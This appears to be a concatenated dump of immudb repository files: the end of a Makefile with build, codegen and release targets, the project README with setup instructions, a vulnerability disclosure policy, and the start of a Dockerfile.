test/fips\ntest/fips:\n\t$(DOCKER) build -t fips:test-build -f build/fips/Dockerfile.build .\n\t$(DOCKER) run --rm fips:test-build -c \"GO_TEST_FLAGS='-tags fips' make test\"\n\n.PHONY: test-client\ntest-client:\n\t$(GO) test -v -failfast ./pkg/client ${GO_TEST_FLAGS}\n\n# To view coverage as HTML run: go tool cover -html=coverage.txt\n.PHONY: coverage\ncoverage:\n\tgo-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger\n\tcat coverage.txt | grep -v \"schema\" | grep -v \"protomodel\" | grep -v \"swagger\" | grep -v \"webserver.go\" | grep -v \"immuclient\" | grep -v \"immuadmin\" | grep -v \"helper\" | grep -v \"cmdtest\" | grep -v \"sservice\" | grep -v \"version\" > coverage.out\n\t$(GO) tool cover -func coverage.out\n\n.PHONY: build/codegen\nbuild/codegen:\n\t$(PWD)/ext-tools/buf format -w\n\n\t$(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \\\n\t  -I$(GOPATH)/pkg/mod \\\n\t  -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \\\n\t  -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \\\n\t  --go_out=paths=source_relative:pkg/api/schema \\\n\t  --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/schema \\\n      --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/schema \\\n\t  --doc_out=pkg/api/schema --doc_opt=markdown,docs.md \\\n\t  --swagger_out=logtostderr=true:pkg/api/schema \\\n\n.PHONY: build/codegenv2\nbuild/codegenv2:\n\t$(PWD)/ext-tools/buf format -w\n\n\t$(PROTOC) -I pkg/api/proto/ pkg/api/proto/authorization.proto pkg/api/proto/documents.proto \\\n\t  -I pkg/api/schema/ \\\n\t  -I$(GOPATH)/pkg/mod \\\n\t  -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \\\n\t  -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \\\n\t  --go_out=paths=source_relative:pkg/api/protomodel \\\n\t  --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/protomodel \\\n\t  --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/protomodel \\\n\t  --doc_out=pkg/api/protomodel --doc_opt=markdown,docs.md \\\n\t  --swagger_out=logtostderr=true,allow_merge=true,simple_operation_ids=true:pkg/api/openapi \\\n\n./swagger/dist:\n\trm -rf swagger/dist/\n\tcurl -L $(SWAGGERUILINK) | tar -xz -C swagger\n\tmv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION)\n\tcp pkg/api/openapi/apidocs.swagger.json swagger/dist/apidocs.swagger.json\n\tcp pkg/api/schema/schema.swagger.json swagger/dist/schema.swagger.json\n\tcp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js\n\n.PHONY: swagger\nifeq ($(SWAGGER),true)\nswagger: ./swagger/dist\n\tenv -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger\nelse\nswagger:\n\tenv -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger\nendif\n\n\n.PHONY: clean\nclean:\n\trm -rf immudb immuclient immuadmin immutest ./webconsole/dist ./swagger/dist\n\n.PHONY: man\nman:\n\t$(GO) run ./cmd/immuclient mangen ./cmd/docs/man/immuclient\n\t$(GO) run ./cmd/immuadmin mangen ./cmd/docs/man/immuadmin\n\t$(GO) run ./cmd/immudb mangen ./cmd/docs/man/immudb\n\t$(GO) run ./cmd/immutest mangen ./cmd/docs/man/immutest\n\n.PHONY: prerequisites\nprerequisites:\n\t$(GO) mod tidy -compat=1.17\n\tcat tools.go | grep _ | awk -F'\"' '{print $$2}' | xargs -tI % go install %\n\n########################## releases scripts ############################################################################\n.PHONY: CHANGELOG.md\nCHANGELOG.md:\n\tgit-chglog -o CHANGELOG.md\n\n.PHONY: CHANGELOG.md.next-tag\nCHANGELOG.md.next-tag:\n\tgit-chglog -o CHANGELOG.md --next-tag v${VERSION}\n\n.PHONY: clean/dist\nclean/dist:\n\trm -Rf ./dist\n\n# WEBCONSOLE=default make dist\n# it enables by default webconsole\n.PHONY: dist\ndist: webconsole dist/binaries dist/fips\n\t@echo 'Binaries generation complete. Now vcn signature is needed.'\n\n# build FIPS binary from docker image (no arm or non-linux support)\n.PHONY: dist/fips\ndist/fips: clean\n\t$(DOCKER) build -t fips:build -f build/fips/Dockerfile.build .\n\t$(DOCKER) run -v ${PWD}:/src --user root --rm fips:build -c \"WEBCONSOLE=default make immudb-fips\"\n\tmv immudb ./dist/immudb-v${VERSION}-linux-amd64-fips\n\t$(DOCKER) run -v ${PWD}:/src --user root --rm fips:build -c \"make immuclient-fips\"\n\tmv immuclient ./dist/immuclient-v${VERSION}-linux-amd64-fips\n\t$(DOCKER) run -v ${PWD}:/src --user root --rm fips:build -c \"make immuadmin-fips\"\n\tmv immuadmin ./dist/immuadmin-v${VERSION}-linux-amd64-fips\n\n.PHONY: dist/binaries\ndist/binaries:\n\t\tmkdir -p dist; \\\n\t\tfor service in ${SERVICES}; do \\\n    \t\tfor os_arch in ${TARGETS}; do \\\n    \t\t\tgoos=`echo $$os_arch|sed 's|/.*||'`; \\\n    \t\t\tgoarch=`echo $$os_arch|sed 's|^.*/||'`; \\\n\t\t\t\tGOOS=$$goos GOARCH=$$goarch V_BUILD_NAME=./dist/$$service-v${VERSION}-$$goos-$$goarch make $$service ; \\\n    \t\tdone; \\\n\t\t\tCGO_ENABLED=0 GOOS=linux GOARCH=amd64 V_BUILD_NAME=./dist/$$service-v${VERSION}-linux-amd64-static make $$service-static ; \\\n    \t\tmv ./dist/$$service-v${VERSION}-windows-amd64 ./dist/$$service-v${VERSION}-windows-amd64.exe; \\\n    \tdone\n\n\n.PHONY: dist/winsign\ndist/winsign:\n\tfor service in ${SERVICES}; do \\\n\t\techo ${SIGNCODE_PVK_PASSWORD} | $(DOCKER) run --rm -i \\\n\t\t\t-v ${PWD}/dist:/dist \\\n\t\t\t-v ${SIGNCODE_SPC}:/certs/f.spc:ro \\\n\t\t\t-v ${SIGNCODE_PVK}:/certs/f.pvk:ro \\\n\t\t\tmono:6.8.0 signcode \\\n\t\t\t-spc /certs/f.spc -v /certs/f.pvk \\\n\t\t\t-a sha1 -$ commercial \\\n\t\t\t-n \"CodeNotary $$service\" \\\n\t\t\t-i https://codenotary.io/ \\\n\t\t\t-t http://timestamp.comodoca.com -tr 10 \\\n\t\t\tdist/$$service-v${VERSION}-windows-amd64.exe; \\\n\t\trm ./dist/$$service-v${VERSION}-windows-amd64.exe.bak -f; \\\n\tdone\n\n.PHONY: dist/sign\ndist/sign:\n\tfor f in ./dist/*; do cas n $$f; printf \"\\n\\n\"; done\n\n\n.PHONY: dist/binary.md\ndist/binary.md:\n\t@build/gen-downloads-md.sh \"${VERSION}\"\n\n./webconsole/dist:\nifeq (${WEBCONSOLE}, default)\n\t@echo \"Using webconsole version: ${DEFAULT_WEBCONSOLE_VERSION}\"\n\tcurl -L https://github.com/codenotary/immudb-webconsole/releases/download/v${DEFAULT_WEBCONSOLE_VERSION}/immudb-webconsole.tar.gz | tar -xvz -C webconsole\nelse ifeq (${WEBCONSOLE}, latest)\n\t@echo \"Using webconsole version: latest\"\n\tcurl -L https://github.com/codenotary/immudb-webconsole/releases/latest/download/immudb-webconsole.tar.gz | tar -xvz -C webconsole\nelse ifeq (${WEBCONSOLE}, 1)\n\t@echo \"The meaning of the 'WEBCONSOLE' variable has changed, please specify one of:\"\n\t@echo \"  default   - to use the default version of the webconsole for this immudb release\"\n\t@echo \"  latest    - to use the latest version of the webconsole\"\n\t@echo \"  <version> - to use a specific version of the webconsole\"\n\t@exit 1\nelse\n\t@echo \"Using webconsole version: ${WEBCONSOLE}\"\n\tcurl -L https://github.com/codenotary/immudb-webconsole/releases/download/v${WEBCONSOLE}/immudb-webconsole.tar.gz | tar -xvz -C webconsole\nendif\n\n########################## releases scripts end ########################################################################\n"
  },
  {
    "path": "README.md",
    "content": "<!--\n---\n\ntitle: \"immudb\"\n\ncustom_edit_url: https://github.com/codenotary/immudb/edit/master/README.md\n---\n\n-->\n\n# immudb <img align=\"right\" src=\"img/Black%20logo%20-%20no%20background.png\" height=\"47px\" />\n\n\n[![Documentation](https://img.shields.io/website?label=Docs&url=https%3A%2F%2Fdocs.immudb.io%2F)](https://docs.immudb.io/)\n[![Build Status](https://github.com/codenotary/immudb/actions/workflows/push.yml/badge.svg)](https://github.com/codenotary/immudb/actions/workflows/push.yml)\n[![Go Report Card](https://goreportcard.com/badge/github.com/codenotary/immudb)](https://goreportcard.com/report/github.com/codenotary/immudb)\n[![View SBOM](https://img.shields.io/badge/sbom.sh-viewSBOM-blue?link=https%3A%2F%2Fsbom.sh%2F37cbffcf-1bd3-4daf-86b7-77deb71575b7)](https://sbom.sh/37cbffcf-1bd3-4daf-86b7-77deb71575b7)\n[![Homebrew](https://img.shields.io/homebrew/v/immudb)](https://formulae.brew.sh/formula/immudb)\n\n[![Discord](https://img.shields.io/discord/831257098368319569)](https://discord.gg/EWeCbkjZVu)\n[![Immudb Careers](https://img.shields.io/badge/careers-We%20are%20hiring!-blue?style=flat)](https://www.codenotary.com/job)\n[![Artifact Hub](https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/codenotary)](https://artifacthub.io/packages/search?repo=codenotary)\n\nDon't forget to ⭐ this repo if you like immudb!\n\n[:tada: 27M pulls from docker hub!](https://hub.docker.com/r/codenotary)\n\n---\n\nDetailed documentation can be found at https://docs.immudb.io/\n\n---\n\n<img align=\"right\" src=\"img/immudb-mascot-small.png\" width=\"256px\"/>\n\nimmudb is a database with built-in cryptographic proof and verification. It tracks changes in sensitive data and the integrity of the history will be protected by the clients, without the need to trust the database. It can operate as a key-value store, as a document model database, and/or as relational database (SQL).\n\nTraditional database transactions and logs are mutable, and therefore there is no way to know for sure if your data has been compromised. immudb is immutable. You can add new versions of existing records, but never change or delete records. This lets you store critical data without fear of it being tampered.\n\nData stored in immudb is cryptographically coherent and verifiable. Unlike blockchains, immudb can handle millions of transactions per second, and can be used both as a lightweight service or embedded in your application as a library. immudb runs everywhere, on an IoT device, your notebook, a server, on-premise or in the cloud.\n\n\nWhen used as a relational data database, it supports both transactions and blobs, so there are no limits to the use cases. Developers and organizations use immudb to secure and tamper-evident log data, sensor data, sensitive data, transactions, software build recipes, rule-base data, artifacts and even video streams. [Examples of organizations using immudb today.](https://www.immudb.io)\n\n## Contents\n\n- [immudb](#immudb)\n  - [Contents](#contents)\n  - [Quickstart](#quickstart)\n    - [Getting immudb running: executable](#getting-immudb-running-executable)\n    - [Getting immudb running: docker](#getting-immudb-running-docker)\n    - [Getting immudb running: kubernetes](#getting-immudb-running-kubernetes)\n    - [Using subfolders](#using-subfolders)\n    - [Enabling Amazon S3 storage](#enabling-amazon-s3-storage)\n    - [Connecting with immuclient](#connecting-with-immuclient)\n    - [Using immudb](#using-immudb)\n      - [Real world examples](#real-world-examples)\n      - [How to integrate immudb in your application](#how-to-integrate-immudb-in-your-application)\n      - [Online demo environment](#online-demo-environment)\n  - [Tech specs](#tech-specs)\n  - [Performance figures](#performance-figures)\n  - [Roadmap](#roadmap)\n  - [Projects using immudb](#projects-using-immudb)\n  - [Contributing](#contributing)\n\n## Quickstart\n\n\n### Getting immudb running: executable\n\nYou may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.9.5 for linux amd64:\n\n```bash\nwget https://github.com/codenotary/immudb/releases/download/v1.9.5/immudb-v1.9.5-linux-amd64\nmv immudb-v1.9.5-linux-amd64 immudb\nchmod +x immudb\n\n# run immudb in the foreground to see all output\n./immudb\n\n# or run immudb in the background\n./immudb -d\n```\n\n### Getting immudb running: Docker\n\nUse Docker to run immudb in a ready-to-use container:\n\n```bash\ndocker run -d --net host -it --rm --name immudb codenotary/immudb:latest\n```\n\nIf you are running the Docker image without host networking, make sure to expose ports 3322 and 9497.\n\n### Getting immudb running: Kubernetes\n\nIn kubernetes, use helm for an easy deployment: just add our repository and install immudb with these simple commands:\n\n```bash\nhelm repo add immudb https://packages.codenotary.org/helm\nhelm repo update\nhelm install immudb/immudb --generate-name\n```\n\n### Using subfolders\n\nImmudb helm chart creates a persistent volume for storing immudb database.\nThose database are now by default placed in a subdirectory.\n\nThat's for compatibility with ext4 volumes that have a `/lost+found` directory that can confuse immudb. Some volume providers,\nlike EBS or DigitalOcean, are using this kind of volumes. If we placed database directory on the root of the volume,\nthat `/lost+found` would be treated as a database. So we now create a subpath (usually `immudb`) subpath for storing that.\n\nThis is different from what we did on older (<=1.3.1) helm charts, so if you have already some volumes with data you can set\nvalue volumeSubPath to false (i.e.: `--set volumeSubPath.enabled=false`) when upgrading so that the old way is used.\n\nYou can alternatively migrate the data in a `/immudb` directory. You can use this pod as a reference for the job:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: migrator\nspec:\n  volumes:\n    - name: \"vol0\"\n      persistentVolumeClaim:\n        claimName: <your-claim-name-here>\n  containers:\n    - name: migrator\n      image: busybox\n      volumeMounts:\n        - mountPath: \"/data\"\n          name: \"vol0\"\n      command:\n        - sh\n        - -c\n        - |\n          mkdir -p /data/immudb\n          ls /data | grep -v -E 'immudb|lost\\+found'|while read i; do mv /data/$i /data/immudb/$i; done\n```\n\nAs said before, you can totally disable the use of subPath by setting `volumeSubPath.enabled=false`.\nYou can also tune the subfolder path using `volumeSubPath.path` value, if you prefer your data on a\ndifferent directory than the default `immudb`.\n\n### Enabling Amazon S3 storage\n\nimmudb can store its data in the Amazon S3 service (or a compatible alternative).\nThe following example shows how to run immudb with the S3 storage enabled:\n\n```bash\nexport IMMUDB_S3_STORAGE=true\nexport IMMUDB_S3_ACCESS_KEY_ID=<S3 ACCESS KEY ID>\nexport IMMUDB_S3_SECRET_KEY=<SECRET KEY>\nexport IMMUDB_S3_BUCKET_NAME=<BUCKET NAME>\nexport IMMUDB_S3_LOCATION=<AWS S3 REGION>\nexport IMMUDB_S3_PATH_PREFIX=testing-001\nexport IMMUDB_S3_ENDPOINT=\"https://${IMMUDB_S3_BUCKET_NAME}.s3.${IMMUDB_S3_LOCATION}.amazonaws.com\"\n\n./immudb\n```\n\nWhen working with the external storage, you can enable the option for the remote storage\nto be the primary source of identifier. This way, if immudb is run using ephemeral disks,\nsuch as with AWS ECS Fargate, the identifier can be taken from S3. To enable that, use:\n\n```bash\nexport IMMUDB_S3_EXTERNAL_IDENTIFIER=true\n```\n\nYou can also use the role-based credentials for more flexible and secure configuration.\nThis allows the service to be used with instance role configuration without a user entity.\nThe following example shows how to run immudb with the S3 storage enabled using AWS Roles:\n\n```bash\nexport IMMUDB_S3_STORAGE=true\nexport IMMUDB_S3_ROLE_ENABLED=true\nexport IMMUDB_S3_BUCKET_NAME=<BUCKET NAME>\nexport IMMUDB_S3_LOCATION=<AWS S3 REGION>\nexport IMMUDB_S3_PATH_PREFIX=testing-001\nexport IMMUDB_S3_ENDPOINT=\"https://${IMMUDB_S3_BUCKET_NAME}.s3.${IMMUDB_S3_LOCATION}.amazonaws.com\"\n\n./immudb\n```\n\nIf using Fargate, the credentials URL can be sourced automatically:\n\n```bash\nexport IMMUDB_S3_USE_FARGATE_CREDENTIALS=true\n```\n\nOptionally, you can specify the exact role immudb should be using with:\n\n```bash\nexport IMMUDB_S3_ROLE=<AWS S3 ACCESS ROLE NAME>\n```\n\nRemember, the `IMMUDB_S3_ROLE_ENABLED` parameter still should be on.\n\nYou can also easily use immudb with compatible s3 alternatives\nsuch as the [minio](https://github.com/minio/minio) server:\n\n```bash\nexport IMMUDB_S3_ACCESS_KEY_ID=minioadmin\nexport IMMUDB_S3_SECRET_KEY=minioadmin\nexport IMMUDB_S3_STORAGE=true\nexport IMMUDB_S3_BUCKET_NAME=immudb-bucket\nexport IMMUDB_S3_PATH_PREFIX=testing-001\nexport IMMUDB_S3_ENDPOINT=\"http://localhost:9000\"\n\n# Note: This spawns a temporary minio server without data persistence\ndocker run -d -p 9000:9000 minio/minio server /data\n\n# Create the bucket - this can also be done through web console at http://localhost:9000\ndocker run --net=host -it --entrypoint /bin/sh minio/mc -c \"\n  mc alias set local http://localhost:9000 minioadmin minioadmin &&\n  mc mb local/${IMMUDB_S3_BUCKET_NAME}\n\"\n\n# Run immudb instance\n./immudb\n```\n\n### Connecting with immuclient\n\nYou may download the immuclient binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immuclient, rename it to `immuclient`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.5.0 for linux amd64:\n\n```bash\nwget https://github.com/codenotary/immudb/releases/download/v1.5.0/immuclient-v1.5.0-linux-amd64\nmv immuclient-v1.5.0-linux-amd64 immuclient\nchmod +x immuclient\n\n# start the interactive shell\n./immuclient\n\n# or use commands directly\n./immuclient help\n```\n\nOr just use Docker to run immuclient in a ready-to-use container. Nice and simple.\n\n```bash\ndocker run -it --rm --net host --name immuclient codenotary/immuclient:latest\n```\n\n## Using immudb\n\nLot of useful documentation and step by step guides can be found at https://docs.immudb.io/\n\n### Real world examples\n\nWe already learned about the following use cases from users:\n\n- use immudb to immutably store every update to sensitive database fields (credit card or bank account data) of an existing application database\n- store CI/CD recipes in immudb to protect build and deployment pipelines\n- store public certificates in immudb\n- use immudb as an additional hash storage for digital objects checksums\n- store log streams (i. e. audit logs) tamperproof\n- store the last known positions of submarines\n- record the location where fish was found aboard fishing trawlers\n\n### How to integrate immudb in your application\n\nWe have SDKs available for the following programming languages:\n\n1. Java [immudb4j](https://github.com/codenotary/immudb4j)\n2. Golang ([golang sdk](https://pkg.go.dev/github.com/codenotary/immudb/pkg/client), [Gorm adapter](https://github.com/codenotary/immugorm))\n3. .net [immudb4net](https://github.com/codenotary/immudb4net)\n4. Python [immudb-py](https://github.com/codenotary/immudb-py)\n5. Node.js [immudb-node](https://github.com/codenotary/immudb-node)\n\nTo get started with development, there is a [quickstart in our documentation](https://docs.immudb.io/master/immudb.html): or pick a basic running sample from [immudb-client-examples](https://github.com/codenotary/immudb-client-examples).\n\nOur [immudb Playground](https://play.codenotary.com) provides a guided environment to learn the Python SDK.\n\n<div align=\"center\">\n  <a href=\"https://play.codenotary.com\">\n    <img alt=\"immudb playground to start using immudb in an online demo environment\" src=\"img/playground2.png\"/>\n  </a>\n</div>\n\nWe've developed a \"language-agnostic SDK\" which exposes a REST API for easy consumption by any application.\n[immugw](https://github.com/codenotary/immugw) may be a convenient tool when SDKs are not available for the\nprogramming language you're using, for experimentation, or just because you prefer your app only uses REST endpoints.\n\n### Online demo environment\n\nClick here to try out the immudb web console access in an [online demo environment](https://demo.immudb.io) (username: immudb; password: immudb)\n\n<div align=\"center\">\n  <a href=\"https://demo.immudb.io\">\n    <img alt=\"Your own temporary immudb web console access to start using immudb in an online demo environment\" src=\"img/demoimmudb.png\"/>\n  </a>\n</div>\n\n## Tech specs\n\n| Topic                   | Description                                         |\n| ----------------------- | --------------------------------------------------- |\n| DB Model                | Key-Value with 3D access, Document Model, SQL       |\n| Data scheme             | schema-free                                         |\n| Implementation design   | Cryptographic commit log with parallel Merkle Tree, |\n|                         | (sync/async) indexing with extended B-tree          |\n| Implementation language | Go                                                  |\n| Server OS(s)            | BSD, Linux, OS X, Solaris, Windows, IBM z/OS        |\n| Embeddable              | Yes, optionally                                     |\n| Server APIs             | gRPC                                                |\n| Partition methods       | Sharding                                            |\n| Consistency concepts    | Immediate Consistency                               |\n| Transaction concepts    | ACID with Snapshot Isolation (SSI)                  |\n| Durability              | Yes                                                 |\n| Snapshots               | Yes                                                 |\n| High Read throughput    | Yes                                                 |\n| High Write throughput   | Yes                                                 |\n| Optimized for SSD       | Yes                                                 |\n\n## Performance figures\n\nimmudb can handle millions of writes per second. The following table shows performance of the embedded store inserting 1M entries on a machine with 4-core E3-1275v6 CPU and SSD disk:\n\n| Entries | Workers | Batch | Batches | time (s) | Entries/s |\n| ------- | ------- | ----- | ------- | -------- | --------- |\n| 1M      | 20      | 1000  | 50      | 1.061    | 1.2M /s   |\n| 1M      | 50      | 1000  | 20      | 0.543    | 1.8M /s   |\n| 1M      | 100     | 1000  | 10      | 0.615    | 1.6M /s   |\n\nYou can generate your own benchmarks using the `stress_tool` under `embedded/tools`.\n\n## Roadmap\n\nThe following topics are important to us and are planned or already being worked on:\n\n* Data pruning\n* Compression\n* compatibility with other database storage files\n* Easier API for developers\n* API compatibility with other, well-known embedded databases\n\n## Projects using immudb\n\nBelow is a list of known projects that use immudb:\n\n- [alma-sbom](https://github.com/AlmaLinux/alma-sbom) - AlmaLinux OS SBOM data management utility.\n\n- [immudb-log-audit](https://github.com/codenotary/immudb-log-audit) - A service and cli tool to store json formatted log input\n  and audit it later in immudb Vault.\n\n- [immudb-operator](https://github.com/unagex/immudb-operator) - Unagex Kubernetes Operator for immudb.\n\n- [immufluent](https://github.com/codenotary/immufluent) - Send fluentbit collected logs to immudb.\n\n- [immuvoting](https://github.com/padurean/immuvoting) - Publicly cryptographically verifiable electronic voting system powered by immudb.\n\nAre you using immudb in your project? Open a pull request to add it to the list.\n\n## Contributing\n\nWe welcome [contributors](CONTRIBUTING.md). Feel free to join the team!\n\n<a href=\"https://github.com/codenotary/immudb/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=codenotary/immudb\" />\n</a>\n\nLearn how to [build](BUILD.md) immudb components in both binary and Docker image form.\n\nTo report bugs or get help, use [GitHub's issues](https://github.com/codenotary/immudb/issues).\n\nimmudb is licensed under the [Business Source License 1.1](LICENSE).\n\nimmudb re-distributes other open-source tools and libraries - [Acknowledgements](ACKNOWLEDGEMENTS.md).\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Security Policy\r\n\r\n## Table of contents\r\n\r\n1. Introduction\r\n2. Scope\r\n3. Supported Versions\r\n4. Reporting a Vulnerability\r\n5. Guidelines\r\n6. Test methods\r\n7. Authorization\r\n8. Questions\r\n\r\n## Introduction\r\n\r\nCodenotary, September 16th 2022\r\n\r\n*This security policy is based on [this template](https://www.cisa.gov/vulnerability-disclosure-policy-template).*\r\n\r\nCodenotary is committed to ensuring the security of the global public by protecting their information. This policy is intended to give security researchers clear guidelines for conducting vulnerability discovery activities and to convey our preferences in how to submit discovered vulnerabilities to us.\r\n\r\nThis policy is addressed to people using the immudb and / or contributing to the project. It describes **what systems and types of research** are covered under this policy, **how to send** us vulnerability reports, and **how long** we ask security researchers to wait before publicly disclosing vulnerabilities.\r\n\r\nWe encourage you to contact us to report potential vulnerabilities in our systems.\r\n\r\n## Scope\r\n\r\nThis policy applies to the following systems and services:\r\n\r\n- immudb database core application, \r\n- immuadmin and immuclient applications\r\n- golang immudb SDK\r\n\r\nSource code of the above tools [is available on GH](https://github.com/codenotary/immudb).\r\nAlso:\r\n\r\n- Java immudb SDK ([repo link](https://github.com/codenotary/immudb4j))\r\n- Python immudb SDK ([repo link](https://github.com/codenotary/immudb-py))\r\n- .Net immudb SDK ([repo link](https://github.com/codenotary/immudb4net))\r\n- Nodejs SDK ([repo link](https://github.com/codenotary/immudb-node))\r\n\r\nAny service not expressly listed above, such as any connected services, are excluded from scope and are not authorized for testing. Additionally, vulnerabilities found in systems from our vendors fall outside of this policy’s scope and should be reported directly to the vendor according to their disclosure policy (if any). If you aren’t sure whether a system is in scope or not, contact us at (immudb-security at codenotary.com) before starting your research (or at the security contact for the system’s domain name listed in the .gov WHOIS).\r\n\r\nThough we develop and maintain other internet-accessible systems or services, we ask that active research and testing only be conducted on the systems and services covered by the scope of this document. If there is a particular system not in scope that you think merits testing, please contact us to discuss it first. We will increase the scope of this policy over time.\r\n\r\nOther immudb SDK repositories that are not covered by this policy:\r\n\r\n- Ruby on rails SDK ([repo link](https://github.com/ankane/immudb-ruby))\r\n\r\n## Supported Versions\r\n\r\nOnly the latest version will be supported with security updates.\r\n\r\n## Reporting a vulnerability\r\n\r\n**IMPORTANT: Do not file public issues on GitHub for security vulnerabilities.**\r\n\r\nWe accept vulnerability reports via (immudb-security at codenotary.com). Reports may be submitted anonymously. If you share contact information, we will acknowledge receipt of your report within 3 business days.\r\n\r\nWe do not support PGP-encrypted emails.\r\n\r\nIn order to help us triage and prioritize submissions, we recommend that your reports:\r\n\r\n- Describe the location the vulnerability was discovered and the potential impact of exploitation.\r\n- Offer a detailed description of the steps needed to reproduce the vulnerability (proof of concept scripts or screenshots are helpful).\r\n- Explain how the vulnerability affects immudb usage and an estimation of the attack surface, if there is one.\r\n- List other projects or dependencies that were used in conjunction with Pinniped to produce the vulnerability.\r\n- Be in English, if possible.\r\n\r\nWhat you can expect from us:\r\n\r\n- When you choose to share your contact information with us, we commit to coordinating with you as openly and as quickly as possible.\r\n- Within 3 business days, we will acknowledge that your report has been received.\r\n- To the best of our ability, we will confirm the existence of the vulnerability to you and be as transparent as possible about what steps we are taking during the remediation process, including on issues or challenges that may delay resolution.\r\n- A public disclosure date is negotiated by the immudb team, the SDK developers and the bug submitter. We prefer to fully disclose the bug as soon as possible once a user mitigation or patch is available. It is reasonable to delay disclosure when the bug or the fix is not yet fully understood, the solution is not well-tested, or for distributor coordination. The timeframe for disclosure is from immediate (especially if it’s already publicly known) to a maximum of 90 business days.  \r\n\r\nWe will maintain an open dialogue to discuss issues.\r\n\r\n## Guidelines\r\n\r\nUnder this policy, “research” means activities in which you:\r\n\r\n- Notify us as soon as possible after you discover a real or potential security issue.\r\n- Make every effort to avoid privacy violations, degradation of user experience, disruption to production systems, and destruction or manipulation of data.\r\n- Only use exploits to the extent necessary to confirm a vulnerability’s presence. Do not use an exploit to compromise or exfiltrate data, establish persistent command line access, or use the exploit to pivot to other systems.\r\n- Provide us a reasonable amount of time to resolve the issue before you disclose it publicly.\r\n- Do not submit a high volume of low-quality reports.\r\n\r\nOnce you’ve established that a vulnerability exists or encounter any sensitive data (including personally identifiable information, financial information, or proprietary information or trade secrets of any party), **you must stop your test, notify us immediately, and not disclose this data to anyone else.**\r\n\r\n## Test methods\r\n\r\nThe following test methods are not authorized:\r\n\r\n- Network denial of service (DoS or DDoS) tests or other tests that impair access to or damage a system or data\r\n- Physical testing (e.g. office access, open doors, tailgating), social engineering (e.g. phishing, vishing), or any other non-technical vulnerability testing\r\n\r\n## Authorization\r\n\r\nIf you make a good faith effort to comply with this policy during your security research, we will consider your research to be authorized, we will work with you to understand and resolve the issue quickly, and Codenotary will not recommend or pursue legal action related to your research. Should legal action be initiated by a third party against you for activities that were conducted in accordance with this policy, we will make this authorization known.\r\n\r\n## Questions\r\n\r\nQuestions regarding this policy may be sent to immudb-security at codenotary.com. We also invite you to contact us with suggestions for improving this policy.\r\n\r\n## Document change history\r\n\r\n| Version Date | Description          |\r\n| ------- | ------------------ |\r\n| Sept. 7th 2022   | First version |\r\n| Sept. 16th 2022   | Reorganization and corrections |\r\n| October. 14th 2022   | Supported versions |\r\n| October, 18th 2022   | Commit following Conventional Commit specification |\r\n"
  },
  {
    "path": "build/Dockerfile",
    "content": "FROM golang:1.24 as build\nARG BUILD_ARCH=amd64\nWORKDIR /src\nCOPY go.mod go.sum /src/\nRUN go mod download -x\nCOPY . .\nRUN make clean\nRUN make prerequisites\nRUN make swagger\nRUN make swagger/dist\nRUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static\nRUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static\nRUN mkdir /empty\n\nFROM debian:bullseye-slim as bullseye-slim\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\n\nCOPY --from=build /src/immudb /usr/sbin/immudb\nCOPY --from=build /src/immuadmin /usr/local/bin/immuadmin\nCOPY --from=build \"/etc/ssl/certs/ca-certificates.crt\" \"/etc/ssl/certs/ca-certificates.crt\"\n\nARG IMMU_UID=\"3322\"\nARG IMMU_GID=\"3322\"\n\nENV IMMUDB_HOME=\"/usr/share/immudb\" \\\n    IMMUDB_DIR=\"/var/lib/immudb\" \\\n    IMMUDB_ADDRESS=\"0.0.0.0\" \\\n    IMMUDB_PORT=\"3322\" \\\n    IMMUDB_PIDFILE=\"\" \\\n    IMMUDB_LOGFILE=\"\" \\\n    IMMUDB_MTLS=\"false\" \\\n    IMMUDB_AUTH=\"true\" \\\n    IMMUDB_DETACHED=\"false\" \\\n    IMMUDB_DEVMODE=\"true\" \\\n    IMMUDB_MAINTENANCE=\"false\" \\\n    IMMUDB_ADMIN_PASSWORD=\"immudb\" \\\n    IMMUDB_PGSQL_SERVER=\"true\" \\\n    IMMUADMIN_TOKENFILE=\"/var/lib/immudb/admin_token\"\n\nRUN addgroup --system --gid $IMMU_GID immu && \\\n    adduser --system --uid $IMMU_UID --no-create-home --ingroup immu immu && \\\n    mkdir -p \"$IMMUDB_HOME\" && \\\n    mkdir -p \"$IMMUDB_DIR\" && \\\n    chown -R immu:immu \"$IMMUDB_HOME\" \"$IMMUDB_DIR\" && \\\n    chmod -R 755 \"$IMMUDB_HOME\" \"$IMMUDB_DIR\" && \\\n    chmod +x /usr/sbin/immudb /usr/local/bin/immuadmin\n\nEXPOSE 3322\nEXPOSE 9497\nEXPOSE 8080\nEXPOSE 5432\n\nHEALTHCHECK --interval=30s --timeout=30s 